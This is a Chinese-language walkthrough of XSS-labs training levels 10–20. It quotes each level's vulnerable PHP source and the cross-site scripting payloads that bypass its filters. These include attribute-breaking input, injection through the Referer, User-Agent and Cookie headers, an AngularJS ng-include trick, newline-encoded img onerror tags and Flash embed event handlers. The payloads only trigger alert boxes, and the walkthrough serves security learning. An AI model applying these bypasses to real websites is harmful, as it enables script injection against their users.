level-10
画风突变,发现并没有输入框
查看源码
会发现
<input>
之中有三个t_link、t_history、t_sort
标签
还是使用<script>alert('xss')</script>
进行尝试
会发现<和>均被编码
师傅们的思路是:
因为有三个<input>
标签,里面有三个参数,所以尝试从这里入手,构造
<script>alert('xss')</script>&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"
发现出现输入框
源码
<input name="t_sort" value="" type="text"" type="hidden">
通过构造参数响应发现,名为t_sort
的<input>
标签的状态发生了改变,所以要从该标签入手,尝试注入恶意代码,构造
<script>alert('xss')</script>&t_sort=" type="text" onclick="alert('xss')
点击输入框后弹窗成功
总体来看,这里利用了三个
<input>
标签进行突破,构造语句
level-11
同样没有输入框
使用<script>alert('xss')</script>
尝试
会发现有四个
<input>
标签,同上一关先尝试从这几个标签入手,构造
<script>alert('xss')</script>&t_link="type="text"&t_history="type="text"&t_sort="type="text"&t_ref="type="text"
<input name="t_sort" value=""type="text"" type="hidden">
双引号被编码
没有出现输入框,上一关的方法行不通
师傅们的做法是:
查看源文件代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level12.php?keyword=good job!";
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
从上面这些代码可以看出,请求头中的HTTP_REFERER
头的值赋给了str11这个变量,在将变量值中的<、>删除之后就会插入到t_ref这个标签的value属性值中。上一关的t_sort标签虽然也能接收并显示参数值,但是这个参数值是要用htmlspecialchars()函数处理的
原始的请求数据包中并没有referer这个请求头,我们要自己给它加上
添加
Referer:aaa
,会发现在返回包里的t_ref
标签的value
属性值出现aaa
进行恶意代码插入
" type="test" onclick="alert('xss')"
成功插入
在浏览器中使用hackbar的referer
,出现输入框,点击即可弹窗
level-12
源码
<input name="t_ua" value="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0" type="hidden">
会发现t_ua
这个标签其中的value
属性的值很熟悉,其实它就是抓包时数据包里的User-Agent
头的值
那么先来抓包看一下
果然如此
有了上一关的经验,尝试直接在User-Agent
插入恶意代码" type="test" onclick="alert('xss')"
成功
同样在浏览器中使用hackbar的User-Agent
,出现输入框,点击即可弹窗
level-13
又发现一个新的标签
t_cook
如果回头看一下这三关的标签t_ref,t_ua,t_cook
再根据思路依次对应http请求头referer
,User-Agent
,第三个不就是cookie
吗
话不多说,动手抓包
确实如此
那么就可以在Cookie构造语句
同样在浏览器中使用hackbar的
Cookies
不过。。额。。没有成功??
被自己蠢到了。。构造时少了
user
level-14
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>
搞不了。。
Exif xss
附上师傅的博客exif xss 复现
level-15
源码和前面的几关也不太一样
具体会发现
<p align=center><img src=level15.png></p>
<body><span class="ng-include:1.gif"></span></body>
ng-include 属性的值可以是一个表达式,返回一个文件名
默认情况下,包含的文件需要包含在同一个域名下
提交的参数src
的值被插入到了<span>
标签的class
属性值中,但前面还有ng-include
这样的字符
ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
直接在这里尝试
会发现<和>均被编码
又不会了。。
厚颜无耻继续参考。。
师傅的思路是先查看源文件代码
<html ng-app>
<head>
<meta charset="utf-8">
<script src="angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
将src
参数的值通过get方式赋给变量str
,然后通过htmlspecialchars()
函数将变量值进行处理之后再返回给浏览器
特别值得注意的几点如下:
1.ng-include,如果单纯指定地址,必须要加引号
2.ng-include,加载外部html,script标签中的内容不执行
3.ng-include,加载外部html中含有style标签样式可以识别
这样构造
?src='level1.php?name=<img src=1 onerror=alert(1)>'
解释
因为这里参数值算是一个地址,所以需要添加引号
然后就可能又有疑问了,不是说是包含html文件吗,但是level1.php是一个php文件吗?
这是因为我们不是单纯的去包含level1.php,而是在后面添加了参数值的。这就有点像是在访问了该参数值中地址之后把它响应在浏览器端的html文件给包含进来的意思
level-16
test会被显示
尝试
发现scrip和/被编码为
查看源文件代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level17.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
可以看出script
,空格
,/
均被编码为
空格不能使用来进行区分,额。。这里的办法是使用回车一样可以分开
使用上一关用到的标签<img>
进行构造
<img
src="111"
onerror=alert('xss')
>
如果直接尝试,会发现并不行
这里还需注意回车的表示方法:
可以要用回车的url编码格式%0a来表示
所以要这样构造
<img%0asrc="111"%0aonerror=alert('xss')>
level-17
中间框这应该有一个flash
发现在url中提交的两个参数
arg01=a&arg02=b
会在embed
标签src
属性值中
<embed src=xsf01.swf?a=b width=100% heigth=100%>
那就尝试通过这两个参数进行突破
然而<和>均被编码,并不行
继续参考。。
思路方法是:因为这里是一个类似图片的东西,所以尝试通过特殊事件来触发,比如可以用onclick事件
测试一下
onclick 事件
构造
onclick=alert('xss')
同理也可以用onfocus事件
,onmouseover事件
进行构造
level-18
和上一关很相似,直接尝试
onclick=alert('xss')
level-19
如果仔细观察的话,会发现和前两关还是略有不同的
<embed src="xsf03.swf?a=b" width=100% heigth=100%></body>
src
的值使用双引号括起来的
尝试<script>alert('xss')</script>
果然<和>被编码了
再尝试特殊事件
onclick=alert('xss')
并不能成功
这里要使用Flash XSS
为什么叫flash xss呢?是因为flash有可以调用js的函数,也就是可以和js通信,因此这些函数如果使用不当就会造成xss。
常见的可触发xss的危险函数有:getURL,navigateToURL,ExternalInterface.call,htmlText,loadMovie等等
要想知道这一关的是不是属于flash xss,只需要对引用的swf文件进行反编译然后进行源码分析
附上师傅的具体操作
XSS-labs Level 19 Flash XSS
level-20
和上一关一样,
src
的值使用双引号括起来的
具体操作还得看师傅:
XSS-labs Level 20 Flash XSS
7.25